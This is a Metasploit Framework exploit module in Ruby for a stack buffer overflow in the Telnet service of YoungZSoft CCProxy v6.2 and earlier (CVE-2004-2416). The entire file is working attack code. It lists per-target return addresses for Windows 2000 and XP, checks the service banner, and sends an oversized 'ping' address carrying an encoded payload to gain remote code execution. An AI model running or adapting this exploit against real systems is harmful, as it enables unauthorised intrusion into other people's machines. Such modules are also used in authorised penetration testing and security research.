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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Proxy::CCProxy_Telnet_Ping < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
'Description' => %q{
This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service.
The stack is overwritten when sending an overly long address to the 'ping' command.
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '11666 ' ],
[ 'CVE', '2004-2416' ],
[ 'MIL', '621' ],
[ 'OSVDB', '11593' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1012,
'BadChars' => "\x00\x07\x08\x0a\x0d",
},
'Platform' => ['win'],
'Targets' =>
[
# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
[
'Windows 2000 Pro All - English',
{
'Ret' => 0x75023411, # call esi ws2help.dll
}
],
[
'Windows 2000 Pro All - Italian',
{
'Ret' => 0x74fd2b81, # call esi ws2help.dll
}
],
[
'Windows 2000 Pro All - French',
{
'Ret' => 0x74fa2b22, # call esi ws2help.dll
}
],
[
'Windows XP SP0/1 - English',
{
'Ret' => 0x71aa1a97, # call esi ws2help.dll
}
],
[
'Windows XP SP2 - English',
{
'Ret' => 0x71aa1b22, # call esi ws2help.dll
}
],
],
'DisclosureDate' => 'Nov 11 2004'))
register_options(
[
Opt::RPORT(23),
], self.class)
end
def autofilter
false
end
def check
connect
banner = sock.get_once(-1,3)
if (banner =~ /CCProxy Telnet Service Ready/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
sock.put(sploit + "\r\n")
handler
disconnect
end
end
end
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